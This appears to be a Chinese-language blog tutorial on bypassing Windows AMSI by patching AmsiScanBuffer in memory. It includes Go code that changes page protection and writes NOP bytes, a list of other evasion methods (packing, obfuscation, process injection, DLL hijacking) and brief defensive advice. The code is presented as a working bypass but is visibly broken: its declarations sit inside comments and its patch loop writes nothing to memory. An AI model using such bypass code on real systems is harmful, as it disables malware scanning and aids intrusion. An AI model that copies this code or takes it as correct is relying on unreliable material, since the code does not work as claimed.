0x01 新闻背后的秘密
不久前,一则新闻引起了安全圈的广泛关注:一支不知名的攻击团队利用先进的绕过技术攻破了某大型企业的安全防线,而这次攻击的核心便是利用了强大的AMSI(Antimalware Scan Interface)绕过技术。AMSI作为Windows系统的一项安全功能,旨在检测和阻止恶意脚本的执行。然而,攻击者的手法却让这一强大的工具失去了作用。本次文章将深入分析AMSI绕过技术的攻击原理,并通过真实案例展示如何实施这一攻击。
0x02 攻击的内核剖析
AMSI的设计目标是通过协助反恶意软件产品检测恶意脚本来提升系统的安全性。它的工作机制是在脚本执行之前,将其传递给已注册的反恶意软件进行扫描。然而,正是这种机制暴露出了被攻击者利用的潜在漏洞。
内核的薄弱之处
攻击者通常利用一种称为"内存补丁"的方法来绕过AMSI。具体来说,他们会在脚本执行前,通过修改内存中的特定字节,来使得AMSI的扫描功能失效。AMSI的核心功能依赖于AmsiScanBuffer函数,而攻击者正是通过在内存中修改这一函数的某些关键字节,来规避其检测。
0x03 实战环境的构建
为了更好地理解和演练AMSI绕过技术,我们需要一个实验环境。以下是在本地环境中搭建一个可用于测试的Windows平台步骤:
环境需求
- 一台Windows机器(虚拟机最佳)
- Go语言开发环境
- 一些基础的Shell脚本知识
环境准备
- 安装Go语言环境:从Go官方网站下载并安装最新版本的Go语言。
- 设置开发环境:使用
go env命令检查你的Go环境变量,并确保你的工作目录已正确配置。
- 准备Shell脚本和Windows PowerShell:确保能够在Windows上运行基础的Shell及PowerShell脚本,以便于后续测试。
0x04 Payload构造的艺术
在这一部分,我们将研究如何构造一个有效的Payload来实现AMSI绕过。我们需要编写一个小工具,用于在内存中找到并修改AmsiScanBuffer,从而达到绕过目的。
Go语言实现
以下是一段用Go语言编写的代码,用于在内存中执行AMSI绕过操作。
<pre><code class="language-go">package main
import ( "fmt" "syscall" "unsafe" )
// 定义函数类型 type AmsiScanBufferFunc func(unsafe.Pointer, uintptr, uintptr, uintptr) (uintptr, error)
// 声明Windows DLL var ( kernel32 = syscall.NewLazyDLL("kernel32.dll") procVirtualProtect = kernel32.NewProc("VirtualProtect") )
func bypassAMSI() { // 找到AmsiScanBuffer函数的地址 amsi := syscall.NewLazyDLL("amsi.dll") scanBuffer := amsi.NewProc("AmsiScanBuffer") address := scanBuffer.Addr()
// 修改内存保护,以便我们能够写入 oldProtect := uint32(0) procVirtualProtect.Call(address, 0x1000, syscall.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
// 写入NOP指令,绕过AMSI for i := 0; i < 6; i++ { ptr := (byte)(unsafe.Pointer(address + uintptr(i))) ptr = 0x90 }
fmt.Println("AMSI bypassed.") }

func main() { bypassAMSI() }</code></pre>
代码解析
- 加载DLL:通过
syscall.NewLazyDLL加载amsi.dll,并获取AmsiScanBuffer地址。 - 修改内存保护:通过调用
VirtualProtect更改内存保护,以允许写入操作。 - 写入NOP指令:通过遍历内存并将关键字节替换为0x90(NOP指令),实现功能的绕过。
0x05 绕过技巧揭秘
绕过AMSI的方法不止一种,每种方法都有其独特的实现技巧。攻击者需要根据不同的环境和需求选择合适的攻击方式。以下是一些常见的绕过方法:
1. 动态分析
利用动态分析工具对目标系统进行调试,找到合适的内存地址和字节序列进行补丁。
2. 加壳与混淆

通过加壳或混淆技术,将恶意代码隐藏在看似正常的程序中,以避开静态分析工具的检测。
3. 内存注入
通过远程线程注入或DLL劫持等技术,将恶意代码直接注入到目标进程的内存空间中。
0x06 检测与防御策略
虽然AMSI绕过技术对攻击者来说是一大助力,但防御者并非全无应对之策。以下是一些有效的检测和防御措施:
强化检测
- 启用高级威胁检测:使用现代化的威胁检测工具,具备反绕过功能。
- 实时监控内存操作:借助内存监控工具,及时捕获可疑的内存修改活动。
增强防御

- 安全策略更新:定期更新系统和软件的安全策略,抵御新型攻击手法。
- 丰富的日志分析:加强日志记录与分析能力,及时发现攻击迹象。
0x07 个人经验分享
通过多年的实战经验,我意识到AMSI绕过技术的关键在于对系统内核的深刻理解。每一次成功的攻击都是从无数次失败与实践中总结出来的。对于安全研究人员而言,最重要的莫过于持续学习和不断适应新的技术变化。
在实战中,我发现攻击者往往会结合多种绕过手段,以提高攻击成功率。最让我印象深刻的一次攻击中,我们不仅使用了内存补丁,还结合了网络流量混淆,使得攻击几乎无法被察觉。
总之,AMSI绕过不仅仅是技术的较量,更是思维的博弈。不断地学习和理解新技术,才能在这场无休止的攻防战中立于不败之地。